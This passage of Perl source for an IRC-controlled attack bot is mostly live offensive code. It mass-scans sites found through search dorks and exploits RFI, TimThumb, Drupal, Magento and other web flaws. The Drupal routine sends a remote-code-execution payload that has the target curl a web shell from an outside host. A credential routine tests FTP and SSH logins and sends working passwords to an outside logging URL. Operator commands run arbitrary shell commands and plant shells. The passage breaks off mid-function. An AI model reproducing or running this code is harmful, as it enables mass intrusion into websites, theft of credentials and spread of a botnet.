&message($chanx,"![13Mage-X]! Mage Bruteforce => 14OFF"); } if($modes =~ /ON/i){ $mageforce = 1; &message($chanx,"![13Mage-X]! Magento Bruteforce => 3ON => Warning: it will be scanning slowly"); } } if(&isAdmin($nick) && $msg =~ /\!bypass/){ &bypassChk($bypass_path); } if($msg =~ /\!info/){ my $informasi = "4".`uname -snr`." - 14".`uptime`.""; $informasi=~s/\n//g; $informasi=~s/\s+|\t+|\r+/ /g; &message($admin,"![3~]! System => ".$informasi.""); &message($admin,"![3~]! My Fork => 3$$ - 14$hideps"); } if(&isAdmin($nick) && $msg =~ /\!pid/){ &message($admin,"![13*]! My Fork => 3$$ - 14$hideps"); } if(&isAdmin($nick) && $msg =~ /\!msg\s+(.*?)\s+(.*)/){ $strn = $1; $strm = $2; &message($strn, "$strm"); } if(&isAdmin($nick) && $msg =~ /\!join\s+(.*)/){ &joinx($1); } if(&isAdmin($nick) && $msg =~ /\!part\s+(.*)/){ &partx($1); } if(&isAdmin($nick) && $msg =~ /\!nick\s+(.*)/){ &nickx($1); } if(&isAdmin($nick) && $msg =~ /\!raw\s+(.*)/){ &cmdraw("$1"); } if(&isAdmin($nick) && $msg =~ /\!modar/){ &nickx($nicku); system("rm $0 ; kill -9 $$"); exit; } if(&isAdmin($nick) && $msg =~ /\!matek/){ &nickx($nicku); &mati(); } if(&isAdmin($nick) && $msg =~ /\!stop/){ system("ps x | grep '$hideps' | grep -v '$$' | cut -d '?' -f 1 | xargs kill -9"); &message($chanx,"![3REFRESH]! All process stoped! ![3*]!"); } if(&isAdmin($nick) && $msg =~ /\!cmd\s+(.*)/){ &shellcmd($1); } if(&isAdmin($nick) && $msg =~ /\!hapus/){ &shellcmd("rm *.LOG *.DB *.TXT *.URL *.SQL revslider.zip showbiz.zip $cookietmp ma mi mu me mo"); } if(&isAdmin($nick) && $msg =~ /\!cookies\s+(.*)/){ $mode = $1; if($mode =~ /clear/i){ system("rm $cookietmp"); unlink($cookietmp); } else { open (COOKIES, "<$cookietmp") || &message($chanx,"![4X]! Can't open $cookietmp ![4*]!"); @LISTS = ; chomp $list; close COOKIES; foreach my $list (@LISTS){ &message($admin,"![3*]! ".$list); } } } } } } ##[ RFI SCAN ]## sub RFIScan(){ my($bug, $dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; my $cekdulu = &Query($rfirid); if($cekdulu !~ /TVEgU2hlbGx6Og==/){ &message($chanx,"![4Test]! 14ERROR ![4*]!"); exit; } &message($admin,"![12Search]! RFI Scan started for: 14".$bug." => 14".$dork." ![12*]!"); &Find($dork); &RFITestX($bug); &message($admin,"![12Search]! RFI Scan finished for: 14".$dork." ![12*]!"); } ##[ AUTO RFI SCAN ]## sub AutoRFI(){ my @domz = &SiteDomains(); my($bug, $dork)=@_; $dork =~ s/[\r\n]//g; my $tesdulu = &Query($rfirid); &message($admin,"![12Search]! Auto RFI Scan started for: 14".$bug." => 14".$dork." ![12*]!"); if($tesdulu !~ /TVEgU2hlbGx6Og==/){ &message($chanx,"![4Test]! 14ERROR ![4*]!"); exit; } if($dork =~ /site:/){ &message($chanx,"![12RFI]!4 Can't use site: key ![12*]!"); exit; } foreach my $domain(@domz){ my $d0rk = $dork." site:".$domain; &message($admin,"![12Search]! Auto RFI Scan added: 14".$d0rk." ![12*]!"); &Find($d0rk); &RFITestX($bug); &message($admin,"![12Search]! Auto RFI Scan finished for: 14".$d0rk." ![12*]!"); } } ##[ TIMTHUMB SCAN ]## sub TIMScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! TIM Scan started for: 14".$dork." ![12*]!"); &Find($dork); &TIMTest(); &message($admin,"![12Search]! TIM Scan finished for: 14".$dork." ![12*]!"); } ##[ TAMTHUMB SCAN ]## sub TAMScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! TAM Scan started for: 14".$dork." ![12*]!"); &Find($dork); &TAMTest(); &message($admin,"![12Search]! TAM Scan finished for: 14".$dork." ![12*]!"); } ##[ AUTO TIM SCAN ]## sub AutoTIM(){ my @domz = &SiteDomains(); my($dork)=@_; $dork =~ s/[\r\n]//g; &message($admin,"![12Search]! Auto TIM Scan started for: 14".$dork." ![12*]!"); if($dork =~ /site:/){ &message($chanx,"![12TIM]!4 Can't use site: key ![12*]!"); exit; } foreach my $domain(@domz){ my $d0rk = $dork." site:".$domain; &message($admin,"![12Search]! Auto TIM Dork added: 14".$d0rk." ![12*]!"); &Find($d0rk); &TIMTest(); &message($admin,"![12Search]! Auto TIM Scan finished for: 14".$d0rk." ![12*]!"); } } ##[ JCE SCAN ]## sub JCEScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! JCE Scan started for: 14".$dork." ![12*]!"); &Find($dork); &JCETest(); &message($admin,"![12Search]! JCE Scan finished for: 14".$dork." ![12*]!"); } ##[ DRUPAL SCAN ]## sub DRUScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count > 0; &message($admin,"![12Search]! DRUPAL Scan started for: 14".$dork." ![12*]!"); &message($chanx,"![12Search]! DRUPAL Scan started for 14NOW ![12*]!"); &Find($dork); &DRUTest(); &message($admin,"![12Search]! DRUPAL Scan finished for: 14".$dork." ![12*]!"); &message($chanx,"![12Search]! DRUPAL Scan finished for last dork ![12*]!"); } ##[ DZS SCAN ]## sub DZSScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! DZS Scan started for: 14".$dork." ![12*]!"); &Find($dork); &DZSTest(); &message($admin,"![12Search]! DZS Scan finished for: 14".$dork." ![12*]!"); } ##[ REV CONTENT SCAN ]## sub REVScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! REV Scan started for: 14".$dork." ![12*]!"); &Find($dork); &REVTest(); &message($admin,"![12Search]! REV Scan finished for: 14".$dork." ![12*]!"); } ##[ AFD SCAN ]## sub AFDScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! AFD Scan started for: 14".$dork." ![12*]!"); &Find($dork); &AFDTest(); &message($admin,"![12Search]! AFD Scan finished for: 14".$dork." ![12*]!"); } ##[ WFD SCAN ]## sub WFDScan(){ my($bug, $dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! WFD Scan started for: 14".$bug." => 14".$dork." ![12*]!"); &Find($dork); &WFDTest($bug); &message($admin,"![12Search]! WFD Scan finished for: 14".$bug." => 14".$dork." ![12*]!"); } ##[ MAGENTO XMLRPC SCAN ]## sub MSLScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! ShopLift Scan started for: 14".$dork." ![12*]!"); &Find($dork); &ShopLift(); &message($admin,"![12Search]! ShopLift Scan finished for: 14".$dork." ![12*]!"); } ##[ MAGENTO XMLRPC SCAN ]## sub XXEScan(){ my($dork)=@_; $dork =~ s/[\r\n]//g; my $count = 0; &message($admin,"![12Search]! XXE Scan started for: 14".$dork." ![12*]!"); &Find($dork); &XXETest(); &message($admin,"![12Search]! XXE Scan finished for: 14".$dork." ![12*]!"); } ##[ MASS LOGIN EXPLOIT ]## sub MassLogin(){ my($host, $user, $pass)=@_; my $ftpcek = &Query($ftptest."?ftp=".$host."&user=".$user."&pass=".uri_escape($pass), 25); if($ftpcek =~ /Login Succes/){ &message($admin,"![4FTP]! [ 12".$host." - 12".$user." - 12".$pass." ] [ 10FTP Authorized ]"); sleep(3); my $bukasock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"2082", Proto=>"tcp", Timeout=>"7"); if($bukasock) { &message($admin,"![4CPX]! [ 12".$host." - 12".$user." - 12".$pass." ] [ 3CPX Detected ]"); &Query("http://bestphoenixairportparking.com/wp-content/plugins/statistics/log.php?name=CPX&host=$host&user=$user&pass=".uri_escape($pass), 2); $bukasock->close; } } my $sshcek = &Query($sshtest."?ssh=".$host."&user=".$user."&pass=".uri_escape($pass), 30); if($sshcek =~ /Login Succes/){ &message($admin,"![4SSH]! [ 12".$host." - 12".$user." - 12".$pass." ] [ 13SSH Authorized ]"); sleep(3); } } ##[ RFI TEST EXPLOIT ]## sub RFITest(){ my $count = 0; my $bug = $_[0]; my @links = &GetLink(); my @forks; my $forked++; my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting RFI startedon 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site (@uni){ $count++; my $vuln = "http://".$site.$bug.$rfirid."?"; if($count %$explcounts == 0){ my $start = 0; foreach my $f(@forks){ waitpid($f,0); $forks[$start--]; $start++; } $from = 0; } $forks[$from]=fork(); if($forks[$from] == 0){ my $situs = &Query($vuln, 5); if($situs =~ /MQ Shellz: (.+?)\!/){ &message($admin, ":![4Shell]!: ![14 ".$1."! ]!"); sleep(3); &message($chanx,"![4RFI-Vuln]! [12 http://".$site.$bug."14http://xxx.xxx/xxx? ]"); sleep(3); } exit(0); } if($count %150 == 0){ &message($chanx,"![7RFI]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } $from++; } my $start = 0; foreach my $f(@forks){ waitpid($f,0); $forks[$start--]; $start++; } } ##[ RFI TEST 2 ]## sub RFITestX(){ my $count = 0; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting RFI started on 8,1 ".$datestring." ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site(@uni){ $count++; my $vuln = "http://".$site.$bug.$rfirid."?"; if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { my $situs = &Query($vuln); if($situs =~ /MQ Shellz: (.+?)\!/){ &message($admin,"![4RFI-Vuln]! [12 http://".$site.$bug."14http://xxx.xxx/xxx? ]"); &message($admin,":![4Shell]!: ![14 ".$1."! ]!"); sleep(3); &message($chanx,"![4RFI-Vuln]! [12 http://".$site.$bug."14http://xxx.xxx/xxx? ]"); sleep(3); } exit; } } if($count %150 == 0){ &message($chanx,"![7RFI]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } ##[ TIMTAM TEST EXPLOIT ]## sub TAMTest(){ my $count = 0; my @links = &GetLink(); my @tim; my @uni = &Unique(&Unique(@links)); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting TAM started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; my $infone = "ERROR"; my $unames = "ERROR"; foreach my $site (@uni){ $count++; if(my $proses = fork){ waitpid($proses, 0); } else { if(fork){ exit; } else { my $caritema = &Query("http://".$site); if($caritema =~ /src=\"http:\/\/(.+?)\/wp-content\/(.+?)\.php\?src=/i){ my $vulns = $1; my $cobabika = "http://".$vulns."/wp-content/".$2.".php?src=".$timrid; my $buke = &Query($cobabika); if($buke =~ /Unable to open image(.*?)\/wp-content\/(.+?)\.php/i){ my $shellgue = $2; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobabika)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobabika)); &message($chanx,"![13X]! Exploiting => 14".$vulns." ![13*]!"); my $cobadulu = "http://".$vulns."/wp-content/".$shellgue.".php"; my $cobacobi = &Query($cobadulu); if($cobacobi =~ /MODE : (.*?)<\/B>
/i){ $infone = $1; if($cobacobi =~ /Uname : (.*?)<\/B>
/i){ $unames = $1; } $cobadulu=~s/ /\%20/g; &message($admin,"![4TAM-Vuln]! [14 SAFE ".$infone." - ".$unames." ] [12 ".$cobadulu."?png ] [14 ".$cobabika." ]"); &message($wakil,"![4TAM-Vuln]! [14 SAFE ".$infone." - ".$unames." ] [12 ".$cobadulu."?png ] [14 ".$cobabika." ]"); sleep(3); &message($chanx,"![4TAM-Vuln]! [14 SAFE ".$infone." ] [10 ".$unames." ]"); &Query($cobadulu."?bot", 1); } } sleep(3); } #elsif($buke =~ /error reading file http:\/\/(.+?)\.php from remote host/i){ #&message($admin,"![4TIM-Out]! [ 12".$cobabika." ]"); #sleep(3); #&message($chanx,"![4TIM-Out]! [ 12".$cobabika." ]"); #} } elsif($caritema =~ /src=\"http:\/\/(.+?)\.php\?src=/i){ my $posisi = $1; my $cobaboku = "http://".$posisi.".php?src=".$timrid; my $buki = &Query($cobaboku); if($buki =~ /Unable to open image(.+?)\.php/i){ $manual = $1; if($manual !~ /<\/li><\/ul>/){ $manual=~s/://g; $manual=~s/^\s+|\s+$//g; $manual=~s/ /\%20/g; $posisi=~s/ /\%20/g; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobaboku)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobaboku)); &message($admin,"![4TAM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); &message($wakil,"![4TAM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); sleep(3); &message($chanx,"![4TAM-Manual]! [ 10Send to Admin ]"); } } } #elsif($buki =~ /error reading file http:\/\/(.+?)\.php from remote host/i){ #&message($admin,"![4TIM-Out]! [ 12".$cobaboku." ]"); #sleep(3); #&message($chanx,"![4TIM-Out]! [ 12".$cobaboku." ]"); #} } elsif($caritema =~ /src=\"(.+?)\.php\?src=/i){ my $posisi = $1; if($posisi !~ /^http:\/\//i){ my $cobaboku = "http://".$site.$posisi.".php?src=".$timrid; my $buki = &Query($cobaboku); if($buki =~ /Unable to open image(.+?)\.php/i){ $manual = $1; if($manual !~ /<\/li><\/ul>/){ $manual=~s/://g; $manual=~s/^\s+|\s+$//g; $manual=~s/ /\%20/g; $posisi=~s/ /\%20/g; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobaboku)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobaboku)); &message($admin,"![4TIM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); &message($wakil,"![4TIM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); sleep(3); &message($chanx,"![4TAM-Manual]! [ 10Send to Admin ]"); } } } } } elsif($caritema =~ /http:\/\/(.+?)\/wp-content\/themes\/(.*?)\//i){ my $situs = $1; my $theme = $2; $tim[0] = "http://".$situs."/wp-content/themes/".$theme."/thumb.php?src=".$timrid; $tim[1] = "http://".$situs."/wp-content/themes/".$theme."/timthumb.php?src=".$timrid; $tim[2] = "http://".$situs."/wp-content/themes/".$theme."/scripts/thumb.php?src=".$timrid; $tim[3] = "http://".$situs."/wp-content/themes/".$theme."/scripts/timthumb.php?src=".$timrid; $tim[4] = "http://".$situs."/wp-content/themes/".$theme."/includes/timthumb.php?src=".$timrid; $tim[5] = "http://".$situs."/wp-content/themes/".$theme."/functions/timthumb.php?src=".$timrid; $tim[6] = "http://".$situs."/wp-content/themes/".$theme."/lib/scripts/timthumb.php?src=".$timrid; $tim[7] = "http://".$situs."/wp-content/themes/".$theme."/thumbopen.php?src=".$timrid; $tim[8] = "http://".$situs."/wp-content/themes/".$theme."/framework/timthumb.php?src=".$timrid; $tim[9] = "http://".$situs."/wp-content/themes/".$theme."/thumbopen.php?src=".$timrid; $tim[10] = "http://".$situs."/wp-content/themes/".$theme."/classes/timthumb.php?src=".$timrid; $tim[11] = "http://".$situs."/wp-content/themes/".$theme."/core/timthumb.php?src=".$timrid; $tim[12] = "http://".$situs."/wp-content/themes/".$theme."/themify/img_x.php?src=".$timrid; $tim[13] = "http://".$situs."/wp-content/themes/".$theme."/framework/timthumb.php?src=".$timrid; $tim[15] = "http://".$situs."/wp-content/themes/".$theme."/js/timthumb.php?src=".$timrid; $tim[16] = "http://".$situs."/wp-content/themes/".$theme."/_tbs.php?src=".$timrid; $tim[17] = "http://".$situs."/wp-content/plugins/".$theme."/resize.php?src=".$timrid; $tim[18] = "http://".$situs."/wp-content/plugins/".$theme."/timthumb.php?src=".$timrid; $tim[19] = "http://".$situs."/wp-content/plugins/".$theme."/js/timthumb.php?src=".$timrid; $tim[20] = "http://".$situs."/wp-content/plugins/".$theme."/scripts/timthumb.php?src=".$timrid; $tim[21] = "http://".$situs."/wp-content/plugins/".$theme."/inc/thumb.php?src=".$timrid; $tim[22] = "http://".$situs."/wp-content/plugins/".$theme."/tools/timthumb.php?src=".$timrid; $tim[23] = "http://".$situs."/wp-content/plugins/".$theme."/libs/timthumb.php?src=".$timrid; $tim[24] = "http://".$situs."/wp-content/plugins/".$theme."/includes/timthumb.php?src=".$timrid; $tim[25] = "http://".$situs."/wp-content/themes/".$theme."/lib/scripts/thumb.php?src=".$timrid; $tim[26] = "http://".$situs."/admin/timthumb.php?src=".$timrid; $tim[27] = "http://".$situs."/admin/thumb.php?src=".$timrid; foreach my $cobabuka (@tim){ my $buka = &Query($cobabuka); if($buka =~ /Unable to open image(.*?)\/wp-content\/(.+?)\.php/i){ my $shellgua = $2; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobabuka)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobabuka)); &message($chanx,"![13X]! memperkosa => 14".$situs." ![13*]!"); my $cobadolo = "http://".$situs."/wp-content/".$shellgua.".php"; my $cobacoba = &Query($cobadolo); if($cobacoba =~ /MODE : (.*?)<\/B>
/i){ $infune = $1; if($cobacoba =~ /Uname : (.*?)<\/B>
/i){ $unemes = $1; } $cobadolo=~s/ /\%20/g; &message($admin,"![4TAM-Vuln]! [14 SAFE ".$infune." - ".$unemes." ] [12 ".$cobadolo."?img ] [14 ".$cobabuka." ]"); &message($wakil,"![4TAM-Vuln]! [14 SAFE ".$infune." - ".$unemes." ] [12 ".$cobadolo."?img ] [14 ".$cobabuka." ]"); sleep(3); &message($chanx,"![4TAM-Vuln]! [14 SAFE ".$infune." ] [10 ".$unemes." ]"); &Query($cobadolo."?bot", 1); } } sleep(3); last; } #elsif($buka =~ /error reading file http:\/\/(.+?)\.php from remote host/i){ #&message($admin,"![4TIM-Out]! [ 12".$cobabuka." ]"); #sleep(3); #&message($chanx,"![4TIM-Out]! [ 12".$cobabuka." ]"); #last; #} } } exit; } } if($count %150 == 0){ &message($chanx,"![10TAM]! 14".$count." to 14".$upto." 9Finish ... ![10*]!"); } } } ##[ TIM TEST EXPLOIT ]## sub TIMTest(){ my $count = 0; my @links = &GetLink(); my @tim; my @uni = &Unique(&Unique(@links)); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting TIM started on 8,1 ".$datestring."  ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; my $infone = "ERROR"; my $unames = "ERROR"; foreach my $site (@uni){ $count++; if(my $proses = fork){ waitpid($proses, 0); } else { if(fork){ exit; } else { my $caritema = &Query("http://".$site); if($caritema =~ /src=\"http:\/\/(.+?)\/wp-content\/(.+?)\.php\?src=/i){ my $vulns = $1; my $cobabika = "http://".$vulns."/wp-content/".$2.".php?src=".$timrid; my $buke = &Query($cobabika); if($buke =~ /Unable to open image(.*?)\/wp-content\/(.+?)\.php/i){ my $shellgue = $2; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobabika)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobabika)); &message($chanx,"![13X]! Exploiting => 14".$vulns." ![13*]!"); my $cobadulu = "http://".$vulns."/wp-content/".$shellgue.".php"; my $cobacobi = &Query($cobadulu); if($cobacobi =~ /MODE : (.*?)<\/B>
/i){ $infone = $1; if($cobacobi =~ /Uname : (.*?)<\/B>
/i){ $unames = $1; } $cobadulu=~s/ /\%20/g; &message($admin,"![4TIM-Vuln]! [14 SAFE ".$infone." - ".$unames." ] [12 ".$cobadulu."?png ] [14 ".$cobabika." ]"); &message($chanx,"![4TIM-Vuln]! [14 SAFE ".$infone." - ".$unames." ] [12 Check ]"); &Query($cobadulu."?bot", 1); } } sleep(3); } #elsif($buke =~ /error reading file http:\/\/(.+?)\.php from remote host/i){ #&message($admin,"![4TIM-Out]! [ 12".$cobabika." ]"); #sleep(3); #&message($chanx,"![4TIM-Out]! [ 12".$cobabika." ]"); #} } elsif($caritema =~ /src=\"http:\/\/(.+?)\.php\?src=/i){ my $posisi = $1; my $cobaboku = "http://".$posisi.".php?src=".$timrid; my $buki = &Query($cobaboku); if($buki =~ /Unable to open image(.+?)\.php/i){ $manual = $1; if($manual !~ /<\/li><\/ul>/){ $manual=~s/://g; $manual=~s/^\s+|\s+$//g; $manual=~s/ /\%20/g; $posisi=~s/ /\%20/g; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobaboku)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobaboku)); &message($admin,"![4TIM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); sleep(3); &message($admin,"![4TIM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); } } } #elsif($buki =~ /error reading file http:\/\/(.+?)\.php from remote host/i){ #&message($admin,"![4TIM-Out]! [ 12".$cobaboku." ]"); #sleep(3); #&message($chanx,"![4TIM-Out]! [ 12".$cobaboku." ]"); #} } elsif($caritema =~ /src=\"(.+?)\.php\?src=/i){ my $posisi = $1; if($posisi !~ /^http:\/\//i){ my $cobaboku = "http://".$site.$posisi.".php?src=".$timrid; my $buki = &Query($cobaboku); if($buki =~ /Unable to open image(.+?)\.php/i){ $manual = $1; if($manual !~ /<\/li><\/ul>/){ $manual=~s/://g; $manual=~s/^\s+|\s+$//g; $manual=~s/ /\%20/g; $posisi=~s/ /\%20/g; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobaboku)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobaboku)); &message($admin,"![4TIM-Manual]! [ 12".$cobaboku." ] [ 14".$manual.".php ]"); sleep(3); &message($chanx,"![4TIM-Manual]! [ Check ]"); } } } } } elsif($caritema =~ /http:\/\/(.+?)\/wp-content\/themes\/(.*?)\//i){ my $situs = $1; my $theme = $2; $tim[0] = "http://".$situs."/wp-content/themes/".$theme."/thumb.php?src=".$timrid; $tim[1] = "http://".$situs."/wp-content/themes/".$theme."/timthumb.php?src=".$timrid; $tim[2] = "http://".$situs."/wp-content/themes/".$theme."/scripts/thumb.php?src=".$timrid; $tim[3] = "http://".$situs."/wp-content/themes/".$theme."/scripts/timthumb.php?src=".$timrid; $tim[4] = "http://".$situs."/wp-content/themes/".$theme."/includes/thumb.php?src=".$timrid; $tim[5] = "http://".$situs."/wp-content/themes/".$theme."/includes/timthumb.php?src=".$timrid; $tim[6] = "http://".$situs."/wp-content/themes/".$theme."/lib/scripts/timthumb.php?src=".$timrid; $tim[7] = "http://".$situs."/wp-content/themes/".$theme."/functions/thumb.php?src=".$timrid; $tim[8] = "http://".$situs."/wp-content/themes/".$theme."/functions/timthumb.php?src=".$timrid; $tim[9] = "http://".$situs."/wp-content/themes/".$theme."/thumbopen.php?src=".$timrid; $tim[10] = "http://".$situs."/wp-content/themes/".$theme."/classes/timthumb.php?src=".$timrid; $tim[11] = "http://".$situs."/wp-content/themes/".$theme."/core/timthumb.php?src=".$timrid; $tim[12] = "http://".$situs."/wp-content/themes/".$theme."/themify/img.php?src=".$timrid; $tim[13] = "http://".$situs."/wp-content/themes/".$theme."/framework/timthumb.php?src=".$timrid; $tim[14] = "http://".$situs."/wp-content/themes/".$theme."/timthumb/timthumb.php?src=".$timrid; $tim[15] = "http://".$situs."/wp-content/themes/".$theme."/js/timthumb.php?src=".$timrid; $tim[16] = "http://".$situs."/wp-content/themes/".$theme."/_tbs.php?src=".$timrid; $tim[17] = "http://".$situs."/wp-content/plugins/".$theme."/resize.php?src=".$timrid; $tim[18] = "http://".$situs."/wp-content/plugins/".$theme."/timthumb.php?src=".$timrid; $tim[19] = "http://".$situs."/wp-content/plugins/".$theme."/js/timthumb.php?src=".$timrid; $tim[20] = "http://".$situs."/wp-content/plugins/".$theme."/scripts/timthumb.php?src=".$timrid; $tim[21] = "http://".$situs."/wp-content/plugins/".$theme."/inc/thumb.php?src=".$timrid; $tim[22] = "http://".$situs."/wp-content/plugins/".$theme."/tools/timthumb.php?src=".$timrid; $tim[23] = "http://".$situs."/wp-content/plugins/".$theme."/libs/timthumb.php?src=".$timrid; $tim[24] = "http://".$situs."/wp-content/plugins/".$theme."/includes/timthumb.php?src=".$timrid; $tim[25] = "http://".$situs."/wp-content/themes/".$theme."/lib/scripts/thumb.php?src=".$timrid; foreach my $cobabuka (@tim){ my $buka = &Query($cobabuka); if($buka =~ /Unable to open image(.*?)\/wp-content\/(.+?)\.php/i){ my $shellgua = $2; my $chkurl = &ReadLogs("TIM.URL",md5_hex($cobabuka)); if($chkurl == 0){ &WriteLogs("TIM.URL",md5_hex($cobabuka)); &message($chanx,"![13X]! memperkosa => 14".$situs." ![13*]!"); my $cobadolo = "http://".$situs."/wp-content/".$shellgua.".php"; my $cobacoba = &Query($cobadolo); if($cobacoba =~ /MODE : (.*?)<\/B>
/i){ $infune = $1; if($cobacoba =~ /Uname : (.*?)<\/B>
/i){ $unemes = $1; } $cobadolo=~s/ /\%20/g; &message($admin,"![4TIM-Vuln]! [14 SAFE ".$infune." - ".$unemes." ] [12 ".$cobadolo."?img ] [14 ".$cobabuka." ]"); &message($chanx,"![4TIM-Vuln]! [14 SAFE ".$infune." - ".$unemes." ] [12 Check ]"); &Query($cobadolo."?bot", 1); } } sleep(3); last; } #elsif($buka =~ /error reading file http:\/\/(.+?)\.php from remote host/i){ #&message($admin,"![4TIM-Out]! [ 12".$cobabuka." ]"); #sleep(3); #&message($chanx,"![4TIM-Out]! [ 12".$cobabuka." ]"); #last; #} } } exit; } } if($count %150 == 0){ &message($chanx,"![7TIM]! 14".$count." to 14".$upto." 9Finish ![7*]!"); } } } ###########################################[ DRuPAL TEST ]####################################################### sub DRUTest(){ my $count = 0; my @links = &GetLink(); my @uni = &Unique(@links); &message($chanx,"![13Total]! Sites: 14".scalar(@links)." Clean: 14".scalar(@uni)." => Exploiting DRUPAL started on 8,1 ".$datestring." 13Biar lambat asal jelas ![13*]!"); &Remove(); my $upto = scalar(@uni); my $from = 0; foreach my $site(@uni){ $count++; if(my $proses = fork){ waitpid($proses, 0); } else { if(fork){ exit; } else { my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=curl+-o+sites/default/files/cia.php+'http://flicker.com.groundup.coffee/demit.aff'"; my $ajax = "_triggering_element_name"; my $response = $ua->post($addblockurl, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', '_triggering_element_name' => 'name']); my $body = $response->content; my $regex=''; if($body =~ s/$regex//){ my $newout=$1; $formcraft2up="http://".$site."/?q=file/ajax/name/%23value/$newout"; my $responses = $ua->post($formcraft2up, Content-Type => 'application/json', Content => ['form_build_id' => $newout]); my $shell = "http://".$site."sites/default/files/cia.php"; my $pbot = "http://".$site."sites/default/files/pbot.php"; my $rescheck = $ua->get("http://".$site."sites/default/files/cia.php")->content; if ($rescheck =~ /
/) { my $check = &Query($shell);&Query($pbot); if ($check =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); if($check =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check =~ m/id=(.*?)grup=/){ $user = $1; if($check =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12Exploited 10 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell." ]"); &message($chanx,"![12 Exploited 10 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl11 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=curl+-o+cia.php+'http://flicker.com.groundup.coffee/demit.aff'"; my $ajax11 = "_triggering_element_name"; my $response11 = $ua->post($addblockurl11, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', '_triggering_element_name' => 'name']); my $body11 = $response11->content; my $regex11=''; if($body11 =~ s/$regex11//){ my $newout11=$1; $formcraft2up11="http://".$site."/?q=file/ajax/name/%23value/$newout11"; my $responses11 = $ua->post($formcraft2up11, Content-Type => 'application/json', Content => ['form_build_id' => $newout11]); my $shell11 = "http://".$site."cia.php"; my $pbot = "http://".$site."pbot.php"; my $rescheck11 = $ua->get("http://".$site."cia.php")->content; if ($rescheck11 =~ /
